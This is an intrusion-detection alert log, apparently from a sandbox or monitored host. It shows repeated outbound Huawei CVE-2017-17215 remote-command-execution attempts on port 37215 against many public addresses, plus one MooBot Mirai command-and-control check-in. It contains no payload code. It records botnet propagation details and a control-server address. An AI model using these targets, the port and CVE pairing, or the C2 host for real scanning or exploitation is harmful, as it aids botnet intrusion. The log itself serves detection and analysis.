2024-08-01T15:35:50.253650+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42920	37215	192.168.2.14	41.67.79.95
2024-08-01T15:35:20.207204+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44636	37215	192.168.2.14	197.196.40.133
2024-08-01T15:35:21.905900+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38602	37215	192.168.2.14	41.74.126.187
2024-08-01T15:36:34.947324+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60772	37215	192.168.2.14	197.10.115.25
2024-08-01T15:35:48.347884+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54456	37215	192.168.2.14	157.157.212.252
2024-08-01T15:36:42.162621+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34152	37215	192.168.2.14	41.59.88.2
2024-08-01T15:35:58.605926+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59730	37215	192.168.2.14	198.68.238.3
2024-08-01T15:36:14.806690+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46112	37215	192.168.2.14	157.22.214.65
2024-08-01T15:36:57.564501+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37518	37215	192.168.2.14	157.53.190.45
2024-08-01T15:35:50.278201+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40758	37215	192.168.2.14	157.218.113.190
2024-08-01T15:35:21.905818+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43516	37215	192.168.2.14	136.46.29.148
2024-08-01T15:35:37.221069+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39568	37215	192.168.2.14	197.73.153.93
2024-08-01T15:35:54.685442+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60626	37215	192.168.2.14	197.139.133.26
2024-08-01T15:35:04.706104+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41604	37215	192.168.2.14	197.5.110.126
2024-08-01T15:35:20.210145+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56218	37215	192.168.2.14	190.251.100.176
2024-08-01T15:36:01.488786+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54250	37215	192.168.2.14	197.38.129.187
2024-08-01T15:36:16.200771+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43394	37215	192.168.2.14	157.131.244.109
2024-08-01T15:36:22.458020+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56360	37215	192.168.2.14	157.96.223.134
2024-08-01T15:35:20.210358+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39564	37215	192.168.2.14	41.241.93.77
2024-08-01T15:35:21.908505+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56092	37215	192.168.2.14	157.113.145.111
2024-08-01T15:36:34.859462+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38078	37215	192.168.2.14	197.89.254.48
2024-08-01T15:36:26.881739+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59250	37215	192.168.2.14	41.195.122.93
2024-08-01T15:36:36.979380+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50468	37215	192.168.2.14	109.130.133.204
2024-08-01T15:36:24.459164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34466	37215	192.168.2.14	41.163.83.243
2024-08-01T15:35:20.216551+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60728	37215	192.168.2.14	212.190.57.96
2024-08-01T15:35:16.872517+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53630	37215	192.168.2.14	197.179.175.169
2024-08-01T15:36:26.558078+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40612	37215	192.168.2.14	197.56.221.156
2024-08-01T15:35:40.237727+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32842	37215	192.168.2.14	196.126.246.16
2024-08-01T15:36:32.775834+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34832	37215	192.168.2.14	41.144.21.142
2024-08-01T15:36:15.249129+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44028	37215	192.168.2.14	197.11.55.39
2024-08-01T15:36:24.444992+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36212	37215	192.168.2.14	157.138.104.224
2024-08-01T15:36:24.468601+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48802	37215	192.168.2.14	197.221.59.170
2024-08-01T15:35:21.891130+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58140	37215	192.168.2.14	197.105.131.94
2024-08-01T15:35:37.201728+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34176	37215	192.168.2.14	197.75.77.236
2024-08-01T15:36:28.759628+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45328	37215	192.168.2.14	157.209.191.113
2024-08-01T15:35:20.206688+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52708	37215	192.168.2.14	41.117.191.144
2024-08-01T15:36:14.832138+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46740	37215	192.168.2.14	197.255.154.66
2024-08-01T15:35:21.905732+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48540	37215	192.168.2.14	41.161.102.218
2024-08-01T15:35:20.205664+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49846	37215	192.168.2.14	157.234.233.14
2024-08-01T15:36:30.755435+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45246	37215	192.168.2.14	78.68.152.10
2024-08-01T15:35:45.284008+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35326	37215	192.168.2.14	197.98.75.58
2024-08-01T15:35:54.525852+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43482	37215	192.168.2.14	157.102.104.151
2024-08-01T15:35:48.347716+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34998	37215	192.168.2.14	157.26.21.89
2024-08-01T15:35:16.728238+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50544	37215	192.168.2.14	197.124.18.82
2024-08-01T15:35:20.205238+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46336	37215	192.168.2.14	197.241.187.121
2024-08-01T15:36:09.899724+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54976	37215	192.168.2.14	157.43.97.161
2024-08-01T15:36:18.250681+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53580	37215	192.168.2.14	41.32.239.13
2024-08-01T15:36:18.249530+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57712	37215	192.168.2.14	61.229.43.89
2024-08-01T15:36:18.260233+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58982	37215	192.168.2.14	47.17.248.30
2024-08-01T15:35:53.373739+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60538	37215	192.168.2.14	197.248.247.232
2024-08-01T15:37:00.202719+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32864	37215	192.168.2.14	113.197.162.105
2024-08-01T15:35:20.205537+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40012	37215	192.168.2.14	116.122.159.73
2024-08-01T15:35:20.216240+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37320	37215	192.168.2.14	41.137.205.74
2024-08-01T15:36:57.545590+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33048	37215	192.168.2.14	197.80.193.11
2024-08-01T15:35:21.832321+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56740	37215	192.168.2.14	41.59.251.151
2024-08-01T15:36:39.311807+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45164	37215	192.168.2.14	157.86.128.86
2024-08-01T15:35:25.981407+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41704	37215	192.168.2.14	146.228.195.65
2024-08-01T15:36:11.931796+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47548	37215	192.168.2.14	197.32.59.62
2024-08-01T15:35:37.222175+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46056	37215	192.168.2.14	157.66.48.54
2024-08-01T15:35:55.308426+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48988	37215	192.168.2.14	72.167.222.68
2024-08-01T15:35:33.068612+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59740	37215	192.168.2.14	197.241.137.69
2024-08-01T15:35:21.851379+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33120	37215	192.168.2.14	157.154.49.44
2024-08-01T15:36:36.974821+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60054	37215	192.168.2.14	157.140.222.92
2024-08-01T15:36:06.684614+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46566	37215	192.168.2.14	157.13.86.61
2024-08-01T15:35:20.205922+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40284	37215	192.168.2.14	197.197.246.96
2024-08-01T15:35:54.405874+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47962	37215	192.168.2.14	82.102.155.112
2024-08-01T15:35:17.173482+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45636	37215	192.168.2.14	41.92.13.87
2024-08-01T15:35:21.852915+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46518	37215	192.168.2.14	41.24.101.6
2024-08-01T15:36:49.568625+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43308	37215	192.168.2.14	197.40.244.195
2024-08-01T15:35:17.111015+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54494	37215	192.168.2.14	41.94.14.140
2024-08-01T15:35:20.206434+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60706	37215	192.168.2.14	157.175.27.16
2024-08-01T15:35:16.650804+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48958	37215	192.168.2.14	157.122.220.214
2024-08-01T15:36:18.264579+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49680	37215	192.168.2.14	197.114.71.216
2024-08-01T15:36:22.456607+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47616	37215	192.168.2.14	157.28.204.234
2024-08-01T15:36:30.755496+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56462	37215	192.168.2.14	197.76.57.2
2024-08-01T15:35:21.858932+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48854	37215	192.168.2.14	157.111.195.69
2024-08-01T15:36:53.743421+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52346	37215	192.168.2.14	205.35.46.47
2024-08-01T15:35:20.216408+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54406	37215	192.168.2.14	157.52.39.90
2024-08-01T15:36:18.259803+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45406	37215	192.168.2.14	157.229.63.4
2024-08-01T15:36:26.561768+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46146	37215	192.168.2.14	197.212.76.132
2024-08-01T15:35:17.177406+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58768	37215	192.168.2.14	41.183.132.81
2024-08-01T15:35:20.545713+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34054	37215	192.168.2.14	41.84.21.46
2024-08-01T15:35:50.211593+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43310	37215	192.168.2.14	41.217.209.162
2024-08-01T15:36:06.759148+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51498	37215	192.168.2.14	157.203.24.195
2024-08-01T15:36:26.574351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60272	37215	192.168.2.14	41.223.69.211
2024-08-01T15:35:20.207368+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45878	37215	192.168.2.14	160.44.142.45
2024-08-01T15:36:57.561540+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55604	37215	192.168.2.14	12.76.148.220
2024-08-01T15:35:20.203493+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60482	37215	192.168.2.14	197.253.172.111
2024-08-01T15:35:35.142598+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57744	37215	192.168.2.14	197.234.226.211
2024-08-01T15:35:21.872960+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38258	37215	192.168.2.14	41.20.51.254
2024-08-01T15:35:35.134070+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51396	37215	192.168.2.14	197.180.164.246
2024-08-01T15:35:21.890954+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45930	37215	192.168.2.14	157.88.68.208
2024-08-01T15:35:20.204857+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47450	37215	192.168.2.14	197.117.183.255
2024-08-01T15:36:51.575708+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36942	37215	192.168.2.14	95.2.39.161
2024-08-01T15:35:40.243486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36896	37215	192.168.2.14	41.174.13.71
2024-08-01T15:36:53.853946+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41244	37215	192.168.2.14	208.75.51.78
2024-08-01T15:35:32.992497+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45088	37215	192.168.2.14	157.172.126.140
2024-08-01T15:36:28.868396+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36788	37215	192.168.2.14	89.84.226.150
2024-08-01T15:35:56.485492+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44796	37215	192.168.2.14	157.150.86.173
2024-08-01T15:35:21.848995+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37040	37215	192.168.2.14	157.115.158.85
2024-08-01T15:35:21.905748+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56794	37215	192.168.2.14	157.23.170.138
2024-08-01T15:36:57.572926+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48238	37215	192.168.2.14	2.42.31.51
2024-08-01T15:36:18.254351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48232	37215	192.168.2.14	41.104.190.12
2024-08-01T15:35:21.867546+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33550	37215	192.168.2.14	197.159.39.86
2024-08-01T15:35:20.209326+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46206	37215	192.168.2.14	41.126.121.67
2024-08-01T15:35:56.488863+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55012	37215	192.168.2.14	90.124.97.40
2024-08-01T15:35:21.905572+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53804	37215	192.168.2.14	180.63.19.68
2024-08-01T15:35:32.992325+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51800	37215	192.168.2.14	157.187.178.117
2024-08-01T15:36:09.866129+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54086	37215	192.168.2.14	197.75.88.27
2024-08-01T15:35:20.216330+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53122	37215	192.168.2.14	41.2.62.147
2024-08-01T15:36:01.488778+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46532	37215	192.168.2.14	157.40.254.70
2024-08-01T15:35:37.537628+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47402	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:43.352597+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32866	37215	192.168.2.14	157.129.99.98
2024-08-01T15:35:20.203325+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37384	37215	192.168.2.14	157.16.45.114
2024-08-01T15:35:20.204050+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57316	37215	192.168.2.14	197.4.230.80
2024-08-01T15:35:17.162784+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45166	37215	192.168.2.14	41.253.96.70
2024-08-01T15:36:22.456472+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38126	37215	192.168.2.14	157.217.8.97
2024-08-01T15:35:20.205500+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55942	37215	192.168.2.14	92.176.125.168
2024-08-01T15:35:21.911380+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59884	37215	192.168.2.14	137.133.125.210
2024-08-01T15:36:22.647039+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45750	37215	192.168.2.14	157.231.162.231
2024-08-01T15:36:09.890680+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53174	37215	192.168.2.14	223.139.155.215
2024-08-01T15:35:37.211390+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59144	37215	192.168.2.14	157.205.213.251
2024-08-01T15:35:56.488990+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37874	37215	192.168.2.14	157.19.226.122
2024-08-01T15:36:49.568449+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57378	37215	192.168.2.14	197.15.135.83
2024-08-01T15:35:53.373575+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32888	37215	192.168.2.14	75.41.94.1
2024-08-01T15:36:09.911967+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53476	37215	192.168.2.14	41.55.239.22
2024-08-01T15:36:29.403821+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60690	37215	192.168.2.14	157.89.186.180
2024-08-01T15:35:40.230825+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45070	37215	192.168.2.14	138.66.25.131
2024-08-01T15:35:58.619176+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40048	37215	192.168.2.14	41.253.196.227
2024-08-01T15:35:20.214745+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56302	37215	192.168.2.14	197.82.36.239
2024-08-01T15:35:20.204947+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38358	37215	192.168.2.14	173.114.107.169
2024-08-01T15:36:55.980209+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47584	37215	192.168.2.14	157.86.75.6
2024-08-01T15:35:17.014310+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40764	37215	192.168.2.14	157.251.239.40
2024-08-01T15:36:01.488733+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45922	37215	192.168.2.14	157.100.126.126
2024-08-01T15:35:33.067080+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55956	37215	192.168.2.14	41.191.252.112
2024-08-01T15:35:31.122972+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54034	37215	192.168.2.14	41.159.250.117
2024-08-01T15:36:09.890512+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59946	37215	192.168.2.14	114.85.232.91
2024-08-01T15:36:29.046966+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53728	37215	192.168.2.14	157.212.38.184
2024-08-01T15:36:22.370895+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53956	37215	192.168.2.14	157.153.163.189
2024-08-01T15:36:18.308024+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41388	37215	192.168.2.14	197.88.78.180
2024-08-01T15:35:20.545324+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51178	37215	192.168.2.14	157.63.216.221
2024-08-01T15:35:20.206741+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35098	37215	192.168.2.14	41.7.253.92
2024-08-01T15:36:44.232622+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36748	37215	192.168.2.14	157.21.58.227
2024-08-01T15:35:21.907108+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44178	37215	192.168.2.14	41.154.118.32
2024-08-01T15:35:56.491378+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57298	37215	192.168.2.14	197.190.227.183
2024-08-01T15:36:01.465144+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54988	37215	192.168.2.14	197.139.61.77
2024-08-01T15:35:16.637197+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38732	37215	192.168.2.14	157.251.247.196
2024-08-01T15:36:24.597996+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46018	37215	192.168.2.14	197.221.68.212
2024-08-01T15:35:56.571793+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47126	37215	192.168.2.14	41.38.104.40
2024-08-01T15:36:16.326860+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38354	37215	192.168.2.14	41.215.24.220
2024-08-01T15:35:16.400759+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33474	37215	192.168.2.14	157.10.149.35
2024-08-01T15:35:17.176591+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53694	37215	192.168.2.14	197.145.196.151
2024-08-01T15:36:14.806383+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41538	37215	192.168.2.14	157.58.146.231
2024-08-01T15:34:58.173383+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46612	37215	192.168.2.14	157.130.88.220
2024-08-01T15:35:20.204222+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53942	37215	192.168.2.14	157.252.45.45
2024-08-01T15:36:53.713017+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48200	37215	192.168.2.14	92.43.198.159
2024-08-01T15:35:21.826140+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36358	37215	192.168.2.14	169.90.93.182
2024-08-01T15:35:20.206655+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37944	37215	192.168.2.14	157.130.3.45
2024-08-01T15:36:34.857766+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50988	37215	192.168.2.14	157.78.24.218
2024-08-01T15:36:14.831809+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37412	37215	192.168.2.14	157.204.189.71
2024-08-01T15:36:06.937095+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39768	37215	192.168.2.14	39.125.190.145
2024-08-01T15:35:53.373090+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45576	37215	192.168.2.14	157.164.92.103
2024-08-01T15:35:20.203586+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54272	37215	192.168.2.14	41.72.112.32
2024-08-01T15:35:20.207231+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47268	37215	192.168.2.14	157.21.7.82
2024-08-01T15:35:21.870323+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34534	37215	192.168.2.14	12.200.124.37
2024-08-01T15:35:43.357419+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48282	37215	192.168.2.14	41.114.168.119
